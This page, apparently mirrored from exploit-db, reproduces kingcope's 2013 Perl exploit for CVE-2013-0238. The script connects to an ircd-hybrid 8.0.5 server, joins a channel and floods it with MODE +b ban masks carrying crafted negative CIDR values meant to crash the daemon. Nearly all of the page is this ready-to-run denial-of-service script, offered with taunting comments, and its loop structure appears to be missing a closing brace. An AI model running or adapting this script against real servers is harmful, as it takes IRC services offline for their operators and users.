ircd-hybrid 8.0.5 – Denial of Service - 体验盒子

作者： kingcope

日期： 2013-04-12

类别：

dos

平台：

linux

来源：https://www.exploit-db.com/exploits/24951/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

#!/usr/bin/perl

# ircd-hybrid remote denial of service exploit for CVE-2013-0238

# quick and dirty h4x by kingcope

# tested against ircd-hybrid-8.0.5 centos6

# please modify below in case of buggy code.

# enjoy!

use Socket;

srand(time());

$exploiting_nick = "hybExpl" . int(rand(10000));

sub connecttoserver()

{

$bool = "yes";

$iaddr = inet_aton($ircserver) || die("Failed to find host: $ircserver");

$paddr = sockaddr_in($ircport, $iaddr);

$proto = getprotobyname('tcp');

socket(SOCK1, PF_INET, SOCK_STREAM, $proto) || die("Failed to open socket:$!");

connect(SOCK1, $paddr) || {$bool = "no"};

}

sub usage() {

print "usage: ircd-hybrid.pl <target> <port>\r\n";

exit;

}

$| = 1;

print "----------------------------------------------------------------------\r\nLets have fun!\r\n";

print "----------------------------------------------------------------------\r\n";

if (!defined($ARGV[1])) {

usage();

}

$ircport = $ARGV[1];

$ircserver = $ARGV[0];

print "Connecting to $ircserver on port $ircport...\n";

connecttoserver();

if ($bool eq "no")

{

print "Connection refused.\r\n";

exit(0);

}

send(SOCK1,"NICK $exploiting_nick\r\n",0);

send(SOCK1,"USER $exploiting_nick \"yahoo.com\" \"eu.hax.net\" :$exploiting_nick\r\n",0);

while (<SOCK1>) {

$line = $_;

print $line;

if ((index $line, " 005 ") ne -1) {

goto logged_in;

}

if ((index $line, "PING") ne -1) {

substr($line,1,1,"O");

send(SOCK1, $line, 0);

}

logged_in:

print " ok\r\n";

print "Sending buffers...\r\n";

$channelr = int(rand(10000));

send(SOCK1, "JOIN #h4xchan$channelr\r\n", 0);

sleep(1);

$k = 0;

do {

print $_;

$k++;

$crashnum = -1000009 - $k * 1000;

send(SOCK1, "MODE #h4xchan$channelr +b *!*\@127.0.0.1/$crashnum\r\n", 0);

} while(<SOCK1>);

print "done\r\n";

# EOF